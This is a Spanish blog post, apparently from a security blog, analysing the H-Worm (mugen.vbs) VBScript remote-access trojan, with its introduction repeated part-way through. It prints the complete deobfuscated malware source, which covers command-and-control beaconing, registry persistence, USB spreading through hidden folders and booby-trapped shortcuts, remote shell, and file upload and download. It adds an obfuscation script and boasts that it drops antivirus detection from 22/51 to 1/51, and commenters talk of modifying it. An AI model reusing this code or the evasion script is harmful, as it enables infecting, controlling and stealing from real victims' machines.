Recientemente ha caído en mis manos una muestra de un bot en VBS (Visual Basic Script), concretamente un server de un RAT bautizado como mugen.vbs, H-Worm o Houdini, este último nombre en honor a su desarrollador, se cree que de Argelia y creador de la saga njRAT.
Se trata de una sencilla y pequeña obra de arte que ya se distribuyó en algunos foros underground con un panel de control escrito en Delphi. Su método de propagación es un pocoputada "molesto" ya que oculta las carpetas existentes de los dispositivos USB conectados y crea accesos directos con el mismo nombre para a su vez ejecutarlo.
La muestra que me facilitaron sólo tenía una capa de ofuscación, si bien lo normal es trabajar con un vbe, o que se utilicen varias conversiones como por ejemplo base64 u otros crypters, para dificultar la obtención del código fuente y sobretodo su detección por parte de motores de AV. De hecho el script analizado ya tenía un alto índice de detección (22/51).
En este caso obtener el código en claro es tan trivial como sustituir la función 'ExecuteGlobal' por otra que vuelque la salida a un fichero:
Set fso = CreateObject("scripting.filesystemobject")
Set fichero = fso.CreateTextFile("d:\pruebas\decrypted.txt", True)
...
fichero.write(GUaqJPiUjQAMzRRDxucOecldOO)
...
fichero.close
El resultado añadiendo unos pocos saltos de línea y tabulaciones es el siguiente:
Si echáis un vistazo al código anterior se diferencian claramente cada una de sus funciones:
- execute : ejecuta un comando específico
- update : cambia la configuración del malware. Por ejemplo, el nombre DNS dinámico
- uninstall : elimina el malware del sistema y limpia cada acceso directo .lnk
- send : copia un fichero desde el atacante a la víctima
- site-send : copia un fichero hospedado en un sitio web a la víctima
- recv : descarga un fichero desde el equipo de la víctima
- enum-driver : lista los discos del equipo de la víctima
- enum-faf : lista todos los ficheros y directorios del equipo de la víctima
- enum-process : lista todos los procesos en ejecución
- cmd-shell : abre un intérprete de comandos
- delete : borra un fichero o directorio del equipo de la víctima
- exit-process : mata un proceso específico del equipo de la víctima
- sleep : espera 5 segundos
Como véis, un server bastante funcional y programado en lenguaje de script. Además, es relativamente fácil darle un par de vueltas para conseguir que sea FuD . Por ejemplo, unas modificaciones a este script de st0le:
Y la detección baja de 22/51 a 1/51... }:P
Referencias:
- Now You See Me – H-worm by Houdini
- Como eliminar el virus MUGEN.vbs de una memoria USB y de la PC
- Analizando el malware MUGEN.VBS
- In-depth analysis of mmpifmxnth..vbs malware
- Autopsia a un Malware en VBS
Se trata de una sencilla y pequeña obra de arte que ya se distribuyó en algunos foros underground con un panel de control escrito en Delphi. Su método de propagación es un poco
La muestra que me facilitaron sólo tenía una capa de ofuscación, si bien lo normal es trabajar con un vbe, o que se utilicen varias conversiones como por ejemplo base64 u otros crypters, para dificultar la obtención del código fuente y sobretodo su detección por parte de motores de AV. De hecho el script analizado ya tenía un alto índice de detección (22/51).
En este caso obtener el código en claro es tan trivial como sustituir la función 'ExecuteGlobal' por otra que vuelque la salida a un fichero:
Set fso = CreateObject("scripting.filesystemobject")
Set fichero = fso.CreateTextFile("d:\pruebas\decrypted.txt", True)
...
fichero.write(GUaqJPiUjQAMzRRDxucOecldOO)
...
fichero.close
El resultado añadiendo unos pocos saltos de línea y tabulaciones es el siguiente:
host="ejemplo.no-ip.org"
port=1085
installdir="%temp%"
lnkfile=true
lnkfolder=true
dim shellobj
set shellobj=wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj=createobject("scripting.filesystemobject")
dim httpobj
set httpobj=createobject("msxml2.xmlhttp")
installname=wscript.scriptname
startup=shellobj.specialfolders("startup")&"\"
installdir=shellobj.expandenvironmentstrings(installdir)&"\"
if not filesystemobj.folderexists(installdir)
then installdir=shellobj.expandenvironmentstrings("%temp%")&"\"
end if
spliter="<|>"
sleep=5000
dim response
dim cmd
dim param
info=""
usbspreading=""
startdate=""
dim oneonce
on error resume next
instance
while true
install
response=""
response=post("is-ready","")
cmd=split(response,spliter)
select case cmd(0)
case"excecute"
param=cmd(1)
execute param
case"update"
param=cmd(1)
oneonce.close
set oneonce=filesystemobj.opentextfile(installdir&installname,2,false)
oneonce.write param
oneonce.close
shellobj.run"wscript.exe //b "&chr(34)&installdir&installname&chr(34)
wscript.quit
case"uninstall"
uninstall
case"send"
download cmd(1),cmd(2)
case"site-send"
sitedownloader cmd(1),cmd(2)
case"recv"
param=cmd(1)
upload(param)
case"enum-driver"
post"is-enum-driver",enumdriver
case"enum-faf"
param=cmd(1)
post"is-enum-faf",enumfaf(param)
case"enum-process"
post"is-enum-process",enumprocess
case"cmd-shell"
param=cmd(1)
post"is-cmd-shell",cmdshell(param)
case"delete"
param=cmd(1)
deletefaf(param)
case"exit-process"
param=cmd(1)
exitprocess(param)
case"sleep"
param=cmd(1)
sleep=eval(param)
end select
wscript.sleep sleep
wend
sub install
on error resume next
dim lnkobj
dim filename
dim foldername
dim fileicon
dim foldericon
upstart
for each drive in filesystemobj.drives
if drive.isready=true then if drive.freespace>0 then if drive.drivetype=1 then filesystemobj.copyfile wscript.scriptfullname,drive.path&"\"&installname,true
if filesystemobj.fileexists(drive.path&"\"&installname)then filesystemobj.getfile(drive.path&"\"&installname).attributes=2+4
end if
for each file in filesystemobj.getfolder(drive.path&"\").files
if not lnkfile then exit for
end if
if instr(file.name,".")then if lcase(split(file.name,".")(ubound(split(file.name,"."))))<>"lnk"then file.attributes=2+4
if ucase(file.name)<>ucase(installname)then filename=split(file.name,".")
set lnkobj=shellobj.createshortcut(drive.path&"\"&filename(0)&".lnk")
lnkobj.windowstyle=7
lnkobj.targetpath="cmd.exe"
lnkobj.workingdirectory=""
lnkobj.arguments="/c start "&replace(installname," ",chrw(34)&" "&chrw(34))&"&start "&replace(file.name," ",chrw(34)&" "&chrw(34))&"&exit"
fileicon=shellobj.regread("hkey_local_machine\software\classes\"&shellobj.regread("hkey_local_machine\software\classes\."&split(file.name,".")(ubound(split(file.name,".")))&"\")&"\defaulticon\")
if instr(fileicon,",")=0 then lnkobj.iconlocation=file.path
else lnkobj.iconlocation=fileicon
end if
lnkobj.save()
end if
end if
end if
next
for each folder in filesystemobj.getfolder(drive.path&"\").subfolders
if not lnkfolder then exit for
end if
folder.attributes=2+4
foldername=folder.name
set lnkobj=shellobj.createshortcut(drive.path&"\"&foldername&".lnk")
lnkobj.windowstyle=7
lnkobj.targetpath="cmd.exe"
lnkobj.workingdirectory=""
lnkobj.arguments="/c start "&replace(installname," ",chrw(34)&" "&chrw(34))&"&start explorer "&replace(folder.name," ",chrw(34)&" "&chrw(34))&"&exit"
foldericon=shellobj.regread("hkey_local_machine\software\classes\folder\defaulticon\")
if instr(foldericon,",")=0 then lnkobj.iconlocation=folder.path
else lnkobj.iconlocation=foldericon
end if
lnkobj.save()
next
end if
end if
end if
next
err.clear
end sub
sub uninstall
on error resume next
dim filename
dim foldername
shellobj.regdelete"hkey_current_user\software\microsoft\windows\currentversion\run\"&split(installname,".")(0)
shellobj.regdelete"hkey_local_machine\software\microsoft\windows\currentversion\run\"&split(installname,".")(0)
filesystemobj.deletefile startup&installname,true
filesystemobj.deletefile wscript.scriptfullname,true
for each drive in filesystemobj.drives
if drive.isready=true then if drive.freespace>0 then if drive.drivetype=1 then for each file in filesystemobj.getfolder(drive.path&"\").files
on error resume next
if instr(file.name,".")then if lcase(split(file.name,".")(ubound(split(file.name,"."))))<>"lnk"then file.attributes=0
if ucase(file.name)<>ucase(installname)then filename=split(file.name,".")
filesystemobj.deletefile(drive.path&"\"&filename(0)&".lnk")
else filesystemobj.deletefile(drive.path&"\"&file.name)
end if
else filesystemobj.deletefile(file.path)
end if
end if
next
for each folder in filesystemobj.getfolder(drive.path&"\").subfolders
folder.attributes=0
next
end if
end if
end if
next
wscript.quit
end sub
function post(cmd,param)
post=param
httpobj.open"post","http
//"& host&"
"&port&"/"&cmd,false
httpobj.setrequestheader"user-agent
",information
httpobj.send param
post=httpobj.responsetext
end function
function information
on error resume next
if inf=""then inf=hwid&spliter
inf=inf&shellobj.expandenvironmentstrings("%computername%")&spliter
inf=inf&shellobj.expandenvironmentstrings("%username%")&spliter
set root=getobject("winmgmts
{impersonationlevel=impersonate}!\\.\root\cimv2")
set os=root.execquery("select * from win32_operatingsystem")
for each osinfo in os
inf=inf& osinfo.caption&spliter
exit for
next
inf=inf&"plus"&spliter
inf=inf&security&spliter
inf=inf&usbspreading
information=inf
else information=inf
end if
end function
sub upstart()
on error resume next
shellobj.regwrite"hkey_current_user\software\microsoft\windows\currentversion\run\"&split(installname,".")(0),"wscript.exe //b "&chrw(34)&installdir&installname&chrw(34),"reg_sz"
shellobj.regwrite"hkey_local_machine\software\microsoft\windows\currentversion\run\"&split(installname,".")(0),"wscript.exe //b "&chrw(34)&installdir&installname&chrw(34),"reg_sz"
filesystemobj.copyfile wscript.scriptfullname,installdir&installname,true
filesystemobj.copyfile wscript.scriptfullname,startup&installname,true
end sub
function hwid
on error resume next
set root=getobject("winmgmts
{impersonationlevel=impersonate}!\\.\root\cimv2")
set disks=root.execquery("select * from win32_logicaldisk")
for each disk in disks
if disk.volumeserialnumber<>""then hwid=disk.volumeserialnumber
exit for
end if
next
end function
function security
on error resume next
security=""
set objwmiservice=getobject("winmgmts
{impersonationlevel=impersonate}!\\.\root\cimv2")
set colitems=objwmiservice.execquery("select * from win32_operatingsystem",,48)
for each objitem in colitems
versionstr=split(objitem.version,".")
next
versionstr=split(colitems.version,".")
osversion=versionstr(0)&"."
for x=1 to ubound(versionstr)
osversion=osversion&versionstr(i)
next
osversion=eval(osversion)
if osversion>6 then sc="securitycenter2"else sc="securitycenter"
end if
set objsecuritycenter=getobject("winmgmts
\\localhost\root\"&sc)
set colantivirus=objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
for each objantivirus in colantivirus
security=security& objantivirus.displayname&" ."
next
if security=""then security="nan-av"
end if
end function
function instance
on error resume next
usbspreading=shellobj.regread("hkey_local_machine\software\"&split(installname,".")(0)&"\")
if usbspreading=""then if lcase(mid(wscript.scriptfullname,2))="
\"&lcase(installname)then usbspreading="true - "&date
shellobj.regwrite"hkey_local_machine\software\"&split(installname,".")(0)&"\",usbspreading,"reg_sz"
else usbspreading="false - "&date
shellobj.regwrite"hkey_local_machine\software\"&split(installname,".")(0)&"\",usbspreading,"reg_sz"
end if
end if
upstart
set scriptfullnameshort=filesystemobj.getfile(wscript.scriptfullname)
set installfullnameshort=filesystemobj.getfile(installdir&installname)
if lcase(scriptfullnameshort.shortpath)<>lcase(installfullnameshort.shortpath)then shellobj.run"wscript.exe //b "&chr(34)&installdir&installname&chr(34)
wscript.quit
end if
err.clear
set oneonce=filesystemobj.opentextfile(installdir&installname,8,false)
if err.number>0 then wscript.quit
end if
end function
sub sitedownloader(fileurl,filename)
strlink=fileurl
strsaveto=installdir&filename
set objhttpdownload=createobject("msxml2.xmlhttp")
objhttpdownload.open"get",strlink,false
objhttpdownload.send
set objfsodownload=createobject("scripting.filesystemobject")
if objfsodownload.fileexists(strsaveto)then objfsodownload.deletefile(strsaveto)
end if
if objhttpdownload.status=200 then dim objstreamdownload
set objstreamdownload=createobject("adodb.stream")
with objstreamdownload
.type=1
.open
.write objhttpdownload.responsebody
.savetofile strsaveto
.close
end with
set objstreamdownload=nothing
end if
if objfsodownload.fileexists(strsaveto)then shellobj.run objfsodownload.getfile(strsaveto).shortpath
end if
end sub
sub download(fileurl,filedir)
if filedir=""then filedir=installdir
end if
strsaveto=filedir&mid(fileurl,instrrev(fileurl,"\")+1)
set objhttpdownload=createobject("msxml2.xmlhttp")
objhttpdownload.open"post","http
//"& host&"
"&port&"/is-sending"&spliter&fileurl,false
objhttpdownload.send""
set objfsodownload=createobject("scripting.filesystemobject")
if objfsodownload.fileexists(strsaveto)then objfsodownload.deletefile(strsaveto)
end if
if objhttpdownload.status=200 then dim objstreamdownload
set objstreamdownload=createobject("adodb.stream")
with objstreamdownload
.type=1
.open
.write objhttpdownload.responsebody
.savetofile strsaveto
.close
end with
set objstreamdownload=nothing
end if
if objfsodownload.fileexists(strsaveto)then shellobj.run objfsodownload.getfile(strsaveto).shortpath
end if
end sub
function upload(fileurl)
dim httpobj,objstreamuploade,buffer
set objstreamuploade=createobject("adodb.stream")
with objstreamuploade
.type=1
.open
.loadfromfile fileurl
buffer=.read
.close
end with
set objstreamdownload=nothing
set httpobj=createobject("msxml2.xmlhttp")
httpobj.open"post","http
//"& host&"
"&port&"/is-recving"&spliter&fileurl,false
httpobj.send buffer
end function
function enumdriver()
for each drive in filesystemobj.drives
if drive.isready=true then enumdriver=enumdriver&drive.path&"|"&drive.drivetype&spliter
end if
next
end function
function enumfaf(enumdir)
enumfaf=enumdir&spliter
for each folder in filesystemobj.getfolder(enumdir).subfolders
enumfaf=enumfaf&folder.name&"||d|"&folder.attributes&spliter
next
for each file in filesystemobj.getfolder(enumdir).files
enumfaf=enumfaf&file.name&"|"&file.size&"|f|"&file.attributes&spliter
next
end function
function enumprocess()
on error resume next
set objwmiservice=getobject("winmgmts
\\.\root\cimv2")
set colitems=objwmiservice.execquery("select * from win32_process",,48)
dim objitem
for each objitem in colitems
enumprocess=enumprocess& objitem.name&"|"
enumprocess=enumprocess& objitem.processid&"|"
enumprocess=enumprocess& objitem.executablepath&spliter
next
end function
sub exitprocess(pid)
on error resume next
shellobj.run"taskkill /f /t /pid "&pid,7,true
end sub
sub deletefaf(url)
on error resume next
filesystemobj.deletefile url
filesystemobj.deletefolder url
end sub
function cmdshell(cmd)
dim httpobj,oexec,readallfromany
set oexec=shellobj.exec("%comspec% /c "&cmd)
if not oexec.stdout.atendofstream then readallfromany=oexec.stdout.readall
else if not oexec.stderr.atendofstream then readallfromany=oexec.stderr.readall
else readallfromany=""
end if
end if
cmdshell=readallfromany
end function
Si echáis un vistazo al código anterior se diferencian claramente cada una de sus funciones:
- execute : ejecuta un comando específico
- update : cambia la configuración del malware. Por ejemplo, el nombre DNS dinámico
- uninstall : elimina el malware del sistema y limpia cada acceso directo .lnk
- send : copia un fichero desde el atacante a la víctima
- site-send : copia un fichero hospedado en un sitio web a la víctima
- recv : descarga un fichero desde el equipo de la víctima
- enum-driver : lista los discos del equipo de la víctima
- enum-faf : lista todos los ficheros y directorios del equipo de la víctima
- enum-process : lista todos los procesos en ejecución
- cmd-shell : abre un intérprete de comandos
- delete : borra un fichero o directorio del equipo de la víctima
- exit-process : mata un proceso específico del equipo de la víctima
- sleep : espera 5 segundos
Como véis, un server bastante funcional y programado en lenguaje de script. Además, es relativamente fácil darle un par de vueltas para conseguir que sea FuD . Por ejemplo, unas modificaciones a este script de st0le:
Randomize
set fso = CreateObject("Scripting.FileSystemObject")
fileName = Inputbox("Ruta del fichero : ")
set src = fso.OpenTextfile(fileName,1)
body = src.readall
set rep = fso.createtextfile("ofuscado.vbs",true)
rep.writeline "Execute(" & Obfuscate(body) & " ) "
Function Obfuscate(txt)
enc = ""
for i = 1 to len(txt)
enc = enc & "chr( " & form( asc(mid(txt,i,1)) ) & " ) & "
next
Obfuscate = enc & " vbcrlf "
End Function
Function form(n)
r = int(rnd * 13000)
k = int(rnd * 4)
if( k = 0) then ret = (r+n) & "-" & r
if( k = 1) then ret = (n-r) & "+" & r
if( k = 2) then ret = (n*r) & "/" & r
form = ret
End Function
Y la detección baja de 22/51 a 1/51... }:P
Referencias:
- Now You See Me – H-worm by Houdini
- Como eliminar el virus MUGEN.vbs de una memoria USB y de la PC
- Analizando el malware MUGEN.VBS
- In-depth analysis of mmpifmxnth..vbs malware
- Autopsia a un Malware en VBS
Que bueno..Avast no me permite acceder al link....tuve que "dormirlo" para ver el post.
ResponderEliminarTa claro que la firma está recogida...
Hay que modearlo y probarlo.+10 xD.
http://foro.elhacker.net/buscador-t407434.0.html seguro les interesara.
ResponderEliminar